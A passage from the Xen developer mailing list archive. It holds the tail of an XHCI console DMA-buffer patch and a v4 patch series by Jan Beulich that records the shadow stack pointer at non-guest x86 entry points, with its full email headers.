     struct dbc *dbc = &uart->dbc;
+    struct dbc_dma_bufs *dma_bufs;
 
     if ( !dbc->enable )
         return;
 
-    dbc->dbc_ctx = &dbc_dma_bufs.ctx;
-    dbc->dbc_erst = &dbc_dma_bufs.erst;
-    dbc->dbc_ering.trb = dbc_dma_bufs.evt_trb;
-    dbc->dbc_oring.trb = dbc_dma_bufs.out_trb;
-    dbc->dbc_iring.trb = dbc_dma_bufs.in_trb;
-    dbc->dbc_owork.buf = dbc_dma_bufs.out_wrk_buf;
-    dbc->dbc_iwork.buf = dbc_dma_bufs.in_wrk_buf;
-    dbc->dbc_str = dbc_dma_bufs.str_buf;
+    dma_bufs = brk_alloc(sizeof(*dma_bufs));
+    if ( !dma_bufs )
+    {
+        dbc->enable = false;
+        printk(XENLOG_ERR "XHCI: not enough BRK space available\n");
+        return;
+    }
+
+    dbc->dbc_ctx = &dma_bufs->ctx;
+    dbc->dbc_erst = &dma_bufs->erst;
+    dbc->dbc_ering.trb = dma_bufs->evt_trb;
+    dbc->dbc_oring.trb = dma_bufs->out_trb;
+    dbc->dbc_iring.trb = dma_bufs->in_trb;
+    dbc->dbc_owork.buf = dma_bufs->out_wrk_buf;
+    dbc->dbc_iwork.buf = dma_bufs->in_wrk_buf;
+    dbc->dbc_str = dma_bufs->str_buf;
 
     if ( dbc_open(dbc) )
     {
         iommu_add_extra_reserved_device_memory(
-                PFN_DOWN(virt_to_maddr(&dbc_dma_bufs)),
-                PFN_UP(sizeof(dbc_dma_bufs)),
+                PFN_DOWN(virt_to_maddr(dma_bufs)),
+                PFN_DOWN(sizeof(*dma_bufs)),
                 uart->dbc.sbdf,
                 "XHCI console");
         serial_register_uart(SERHND_XHCI, &dbc_uart_driver, &dbc_uart);



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 10:25:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 10:25:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371535.1619027 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIWq-0000RD-EP; Mon, 27 Jul 2026 10:25:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371535.1619027; Mon, 27 Jul 2026 10:25:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIWq-0000R6-BK; Mon, 27 Jul 2026 10:25:48 +0000
Received: by outflank-mailman (input) for mailman id 1371535;
 Mon, 27 Jul 2026 10:25:47 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woIWp-0000R0-JL
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 10:25:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woIWo-00165o-SE
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:25:46 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a67321c-2eae-0a2a0a5409dd-0a2a450cbccc-36
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:25:46 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a67322a-f479-0a2a450c0019-d155802be4a5-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:25:46 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-4953de5be0aso17041635e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 03:25:46 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c67339sm50008511f8f.31.2026.07.27.03.25.45
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 03:25:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Content-Language:Cc:To:Subject:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785147946; x=1785752746; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:content-language
         :cc:to:subject:from:user-agent:mime-version:date:message-id:from:to
         :cc:subject:date:message-id:reply-to:content-type;
        bh=tSiFdXEgT+tG4WsMuCmE7gKIfVbLdiV6U6QzNAq+QXo=;
        b=L0olGBtHfXcZXPyBWPT/LQb1b4iKHDhxDlpz/YkURNDEKuTMtyuvPR0nS7X+GV4cVW
         UT8gvCS3Zq4T9WaVQYvsGxBsTEX0iyD3FVi/MuSpynmEZXKKhF3AzD6z4FN2/5jt8L7J
         1trCYjSvcN0SsilQoVAi00j7LY8hCY1+k6a/ZvQSJYIVkwr/t266TyE6J1MPFoGSkpI9
         Q8A4fiURkNU6Lh+PUW85S11Tu4z+Sc3C7YnKtSMs/pRlOjhAUKAAEIVxdGS/OA9bybHv
         8iGu0KDhIFCbyz5M8Wfz4FtsCRX3fpta0p8HRs8BxFeEESwLGfDf3uDJsF1K77311W7P
         Rb8A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785147946; x=1785752746;
        h=content-transfer-encoding:content-type:autocrypt:content-language
         :cc:to:subject:from:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=tSiFdXEgT+tG4WsMuCmE7gKIfVbLdiV6U6QzNAq+QXo=;
        b=UmI/8l+eMyce6nsRC5tDXXfA3YcjR8XeI+zxB+c1d9A046I/Zb0E4F8WawIFuTlWtg
         k5ja7G/6KoIjyiwC3NkIS+aeFh85s58bxBjAu9RuBwugKI3kLprud6doDUmCPVwpoVaj
         yrJnyZ/ZhDQATG2j7LUuLGOHdSWMzrpONRAlpnjEf09OlGrH8nsZnl9Aky8Q2H1ssg9j
         iPysCEQHnDvZ+xkvqHClYM0htGmbYWO05xHPY+abxVyRKiP/rx6QXNXaoQHMD2KcIWrb
         wkk90pOcRZempyHBwTF0bvwvNOofDd0EMvBE+lTBbq6B2nzggqcLUZvSFw6sCU9otFkK
         emfQ==
X-Gm-Message-State: AOJu0Yx/DqtoVSzuUYiBMulhXPTV2zyOD9rGwDpmFbQjDcwIbBtXBhck
	A0WlQ+LuDlkqNvMP+NGoPCSePiVQQrVQglM49yYwK7oOWqkKFlHOJ8yHIXDacXZz0ryU9cmOuvZ
	LhTCj3A==
X-Gm-Gg: AR+sD10z5cbeTkGpZ2NUQs6u1KMeEqmQ4LBbph+wNGm3kQn2yg/VPG/nWDPb06Nuqzh
	Eo/xkJFZvsc+BPc5xIdueVTe6wxPGoart+SQmnhwZ14xCf/1VE23BcdBmJr1Hs2Ld73vSIpXFno
	+Dd/4fPrhiSgfSRoLTp4UPtQrqIa0JvhkZc+5/Bxk95kemVMrxjjNy8ULCQq6yhglKl7z/6VuH6
	o9qbdMeUzJvjmg/DMQaC+UqYlFCU9A/PfOB+xnWkl0GYr41pQ32BnThB84wJOL4L2Hi6GQ5VB0o
	h9OXgFVDeUykYGU2MkPL2zfG0f1JX3gb2fw+jP0xfmeLeJlc2pSm6WXCDhbOwibc8CLOU2GF40S
	sJWssEt5aM45Ijoxmlj0opttGs4VYIAquMgblXO7vw9KjmzGl97MNlZy8yIIVOqsjJjMVBHeSP7
	kDI2H7GDg85nWLFcgUQ6CW06shX4TkQReJXuiX9k2kUNBuzW/u2xrxloaHRyK9E+EVzg==
X-Received: by 2002:a05:600c:8b52:b0:495:6e68:39bd with SMTP id 5b1f17b1804b1-496b5726cf0mr104652425e9.28.1785147946239;
        Mon, 27 Jul 2026 03:25:46 -0700 (PDT)
Message-ID: <f6dd91c2-f43a-4c9a-89f3-a42c8b954959@suse.com>
Date: Mon, 27 Jul 2026 12:25:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v4 0/4] x86: CET-SS related adjustments
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK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R6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1785147946-772D8A5B-65C0C549/0/0
X-purgate-type: clean
X-purgate-size: 569

One might think of this as follow-on to XSA-451, but that's not quite
the right order of events.

There are a few open aspects; see in particular the final patch.

v4 addresses review feedback along with some significant re-basing that
was necessary due to other recent changes. It includes one new tidying
patch. See individual patches for details.

1: record SSP at non-guest entry points
2: traps: use entry_ssp in fixup_exception_return()
3: traps: reduce indentation in fixup_exception_return()
4: prefer shadow stack for producing call traces

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 10:26:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 10:26:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371542.1619036 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIXn-0000th-NC; Mon, 27 Jul 2026 10:26:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371542.1619036; Mon, 27 Jul 2026 10:26:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIXn-0000ta-KJ; Mon, 27 Jul 2026 10:26:47 +0000
Received: by outflank-mailman (input) for mailman id 1371542;
 Mon, 27 Jul 2026 10:26:46 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woIXl-0000tL-SI
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 10:26:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woIXl-00DYXp-8V
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:26:45 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a673253-5cb7-0a2a0a5109dd-0a2a4502c71e-26
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:26:45 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a673265-6ca4-0a2a45020019-d155dd33b461-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:26:45 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-47f81a3ccf9so1543691f8f.0
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 03:26:45 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f9c4fe4c5sm28224132f8f.12.2026.07.27.03.26.43
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 03:26:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785148004; x=1785752804; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=Eq3L92UEoRxPUDevKKidczlzaLrrDa3AHj+IVLVm+uI=;
        b=DaGdObOTAXmM5M+BJUbSGDeIQgCvWBe/d1LjvpdwyQh6GWVdg2qSX0s91djEQmsK9i
         Rxzs459hWzo37t5h7PVDdOB2gKuHsxN9rXOo4W1lfkrjnCj3wvsOu8SVhz74JxcJJK42
         Sdq0iEJV7Qf610f3tj5tq4N2+bZGAB7PKa3Rt07xvFd2+O/AL5n6X2haqFFu6zE8hew9
         Uc8NmFc1k1UVHXJ1zGGZ1OE7QX570x2EW9H838Mm7olv5IboRK66nUKZoxCd0c/cCk8y
         xdCyEIWEvfDQi8D8NbSYA+x0U368Mulj0CycA6GsbYMjPT0MUu5pdpPlp9hzieheMnpq
         mlfA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785148004; x=1785752804;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=Eq3L92UEoRxPUDevKKidczlzaLrrDa3AHj+IVLVm+uI=;
        b=e7Tjjtgh8HkeIooV7XSp/bpkCPaik2USpkioBNNcVa8mx8GHAOxM6a/R3eaT4D7LOZ
         n7rbDAlHUcFvjsF8+1cxFFN/8aNeOAQnVlrHb4K3pMmY7B6d4tEdn3XIUhSzOgpTfbHV
         Bvcmd+2GM6YbNUmwzinSmSUXHa+zvD+w/IulHaD2QjMcHtZvIwcNkDwiD+BG5jwUCJcn
         MpIChFMhHxSV4gcuqrTMdYxDR1FEftGt6apZprG0ALFLSjq2RzPLED3KDSU9/DoiXIyG
         /nTPwY4rK+i49MGVG4hTRybf48nUamlp/FCRX/zymMj/Wi19b12c+Cox6Hf9RcAprAM0
         oT6A==
X-Gm-Message-State: AOJu0YzVlJU4p1Y92Pol5v4Dgj7rWd4b6e6vuSnk/kSxlLBD3ePqQLjD
	91gh3uZJ6MdOqHLME5J/MXtJG36uM8Sexl9TvS2NjZ26DcKsNhKrzwqhsQ3DfOTXP1aOMU7kDAe
	RfytCjA==
X-Gm-Gg: AR+sD13KsGBKZGcVm4Y009IGmiBKCcp2n5eGb9eilfFdUBAkSXtaNIJZ8pw/N7LDkGT
	z9dkKryVWUL3Qxg532kWa5gKSiJf4m4pLVZmQC8XII7jMY6tWiq9lIpO6xwIDHBkYNuAzgNknyp
	K9p9llciHLWXCDMYGrgocqI0Uj8YFVAaaPrg5Ovtr/8MH8TqiT/MZoP9F2wnTEbeaq9ZUMeT42g
	gzhpEW8mMUqKbfF62eRTCTgytTD6aGIg1bCzq9/MxUcPRy32s80Anht7n9aK7oOT1nj394a4ChU
	JKODGkvPHHeuCW7uXWj8f3ubV6BlSAablfXNOkJRq4XE3pOrIAEO6GXj+erdl7I3ypn5xrIkC5c
	ucKBUwZZYEttPRPdgVZJ8ycx7/0pWT6xa6X3Azk+b8t3W+5IM+cXVoI7C5mk+6yptSSTOVa95Bq
	6GA3jGUvN3pFQoBqiE1rRykeS7r+9Snx36k5Rkc2zyLTiaQC784pG4kJd9SUtxqgOfUg==
X-Received: by 2002:a05:6000:480d:b0:476:681c:4642 with SMTP id ffacd0b85a97d-47f9feabd4dmr9936682f8f.44.1785148004570;
        Mon, 27 Jul 2026 03:26:44 -0700 (PDT)
Message-ID: <26f23087-e864-47de-84b9-0e3dc10dc941@suse.com>
Date: Mon, 27 Jul 2026 12:26:43 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v4 1/4] x86: record SSP at non-guest entry points
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
References: <f6dd91c2-f43a-4c9a-89f3-a42c8b954959@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <f6dd91c2-f43a-4c9a-89f3-a42c8b954959@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785148005-319CB2AC-99764C5A/0/0
X-purgate-type: clean
X-purgate-size: 6127

We will want to use that value for call trace generation, and likely
also to eliminate the somewhat fragile shadow stack searching done in
fixup_exception_return(). For those purposes, guest-only entry points do
not need to record that value.

To keep the saving code simple, record our own SSP that corresponds to
an exception frame, pointing to the top of the shadow stack counterpart
of what the CPU has saved on the regular stack. Consuming code can then
work its way from there.

In SAVE_ALL / RESTORE_ALL simply drop the use of UREGS_r15. We want the
full size in all cases, so what exactly the top-of-stack field is going
to be (whose UREGS_* is 0 anyway) doesn't matter this much there. This
way we don't need to distinguish between XEN_SHSTK=y and XEN_SHSTK=n.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
v4: Re-base.
v3: Put new field at the front of struct cpu_user_regs.
v2: Add comment ahead of SAVE_ALL. Add comma between its parameters.
    Re-base.

--- a/xen/arch/x86/hvm/svm/entry.S
+++ b/xen/arch/x86/hvm/svm/entry.S
@@ -89,7 +89,7 @@ __UNLIKELY_END(nsvm_hap)
 
         vmrun
 
-        PUSH_AND_CLEAR_GPRS
+        PUSH_AND_CLEAR_GPRS ssp=0
 
         GET_CURRENT(bx)
 
--- a/xen/arch/x86/hvm/vmx/entry.S
+++ b/xen/arch/x86/hvm/vmx/entry.S
@@ -22,7 +22,7 @@
 #include <asm/page.h>
 
 FUNC(vmx_asm_vmexit_handler)
-        PUSH_AND_CLEAR_GPRS
+        PUSH_AND_CLEAR_GPRS ssp=0
 
         mov  %cr2,%rax
         GET_CURRENT(bx)
@@ -157,7 +157,7 @@ UNLIKELY_END(realmode)
 
 .Lvmx_vmentry_fail:
         sti
-        PUSH_AND_CLEAR_GPRS
+        PUSH_AND_CLEAR_GPRS ssp=0
 
         /*
          * SPEC_CTRL_ENTRY notes
--- a/xen/arch/x86/include/asm/asm_defns.h
+++ b/xen/arch/x86/include/asm/asm_defns.h
@@ -220,9 +220,11 @@ static always_inline void stac(void)
 
 #ifdef __ASSEMBLER__
 /*
- * Push and clear GPRs
+ * Push and clear GPRs.
+ *
+ * Use sites may override ssp to 0. It should never be overridden to 1.
  */
-.macro PUSH_AND_CLEAR_GPRS
+.macro PUSH_AND_CLEAR_GPRS ssp=IS_ENABLED(CONFIG_XEN_SHSTK)
         push  %rdi
         xor   %edi, %edi
         push  %rsi
@@ -233,6 +235,9 @@ static always_inline void stac(void)
         xor   %ecx, %ecx
         push  %rax
         xor   %eax, %eax
+ .if \ssp
+        rdsspq %rcx
+ .endif
         push  %r8
         xor   %r8d, %r8d
         push  %r9
@@ -259,12 +264,18 @@ static always_inline void stac(void)
         xor   %r14d, %r14d
         push  %r15
         xor   %r15d, %r15d
+#ifdef CONFIG_XEN_SHSTK
+        push  %rcx
+#endif
 .endm
 
 /*
  * POP GPRs from a UREGS_* frame on the stack.  Does not modify flags.
  */
 .macro POP_GPRS skip_rax=0
+#ifdef CONFIG_XEN_SHSTK
+        pop   %rcx
+#endif
         pop   %r15
         pop   %r14
         pop   %r13
--- a/xen/arch/x86/include/asm/cpu-user-regs.h
+++ b/xen/arch/x86/include/asm/cpu-user-regs.h
@@ -11,6 +11,15 @@
  */
 struct cpu_user_regs
 {
+#ifdef CONFIG_XEN_SHSTK
+    /*
+     * This points _at_ the corresponding shadow stack frame; it is _not_ the
+     * outer context's SSP.  That, if the outer context has CET-SS enabled,
+     * is stored in the top slot of the pointed to shadow stack.
+     */
+    uint64_t entry_ssp;
+#endif
+
     union { uint64_t r15;    uint32_t r15d;   uint16_t r15w;  uint8_t r15b; };
     union { uint64_t r14;    uint32_t r14d;   uint16_t r14w;  uint8_t r14b; };
     union { uint64_t r13;    uint32_t r13d;   uint16_t r13w;  uint8_t r13b; };
--- a/xen/arch/x86/x86_64/asm-offsets.c
+++ b/xen/arch/x86/x86_64/asm-offsets.c
@@ -53,6 +53,9 @@ void __dummy__(void)
     OFFSET(UREGS_eflags, struct cpu_user_regs, rflags);
     OFFSET(UREGS_rsp, struct cpu_user_regs, rsp);
     OFFSET(UREGS_ss, struct cpu_user_regs, ss);
+#ifdef CONFIG_XEN_SHSTK
+    OFFSET(UREGS_entry_ssp, struct cpu_user_regs, entry_ssp);
+#endif
     DEFINE(UREGS_kernel_sizeof, sizeof(struct cpu_user_regs));
     BLANK();
 
--- a/xen/arch/x86/x86_64/compat/entry.S
+++ b/xen/arch/x86/x86_64/compat/entry.S
@@ -18,7 +18,7 @@ FUNC(entry_int82)
         ALTERNATIVE "", clac, X86_FEATURE_XEN_SMAP
         pushq $0
         movb  $HYPERCALL_VECTOR, EFRAME_entry_vector(%rsp)
-        PUSH_AND_CLEAR_GPRS
+        PUSH_AND_CLEAR_GPRS ssp=0
 
         GET_STACK_END(14)
 
--- a/xen/arch/x86/x86_64/entry.S
+++ b/xen/arch/x86/x86_64/entry.S
@@ -305,7 +305,7 @@ FUNC(lstar_enter)
         pushq $0
         BUILD_BUG_ON(TRAP_syscall & 0xff)
         movb  $TRAP_syscall >> 8, EFRAME_entry_vector + 1(%rsp)
-        PUSH_AND_CLEAR_GPRS
+        PUSH_AND_CLEAR_GPRS ssp=0
 
         GET_STACK_END(14)
 
@@ -345,7 +345,7 @@ FUNC(cstar_enter)
         pushq $0
         BUILD_BUG_ON(TRAP_syscall & 0xff)
         movb  $TRAP_syscall >> 8, EFRAME_entry_vector + 1(%rsp)
-        PUSH_AND_CLEAR_GPRS
+        PUSH_AND_CLEAR_GPRS ssp=0
 
         GET_STACK_END(14)
 
@@ -390,7 +390,7 @@ LABEL(sysenter_eflags_saved, 0)
         pushq $0
         BUILD_BUG_ON(TRAP_syscall & 0xff)
         movb  $TRAP_syscall >> 8, EFRAME_entry_vector + 1(%rsp)
-        PUSH_AND_CLEAR_GPRS
+        PUSH_AND_CLEAR_GPRS ssp=0
 
         GET_STACK_END(14)
 
@@ -447,7 +447,7 @@ FUNC(entry_int80)
         ALTERNATIVE "", clac, X86_FEATURE_XEN_SMAP
         pushq $0
         movb  $0x80, EFRAME_entry_vector(%rsp)
-        PUSH_AND_CLEAR_GPRS
+        PUSH_AND_CLEAR_GPRS ssp=0
 
         GET_STACK_END(14)
 
--- a/xen/arch/x86/x86_64/entry-fred.S
+++ b/xen/arch/x86/x86_64/entry-fred.S
@@ -11,7 +11,7 @@
         /* The Ring3 entry point is required to be 4k aligned. */
 
 FUNC(entry_FRED_R3, 4096)
-        PUSH_AND_CLEAR_GPRS
+        PUSH_AND_CLEAR_GPRS ssp=0
 
         mov     %rsp, %rdi
         call    entry_from_pv
@@ -54,7 +54,7 @@ LABEL(eretu, 0)
 END(eretu_exit_to_guest)
 
 FUNC(eretu_error_dom_crash)
-        PUSH_AND_CLEAR_GPRS
+        PUSH_AND_CLEAR_GPRS ssp=0
         sti
         call    asm_domain_crash_synchronous  /* Does not return */
 END(eretu_error_dom_crash)



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 10:27:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 10:27:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371545.1619045 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIY6-0001Gs-Tq; Mon, 27 Jul 2026 10:27:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
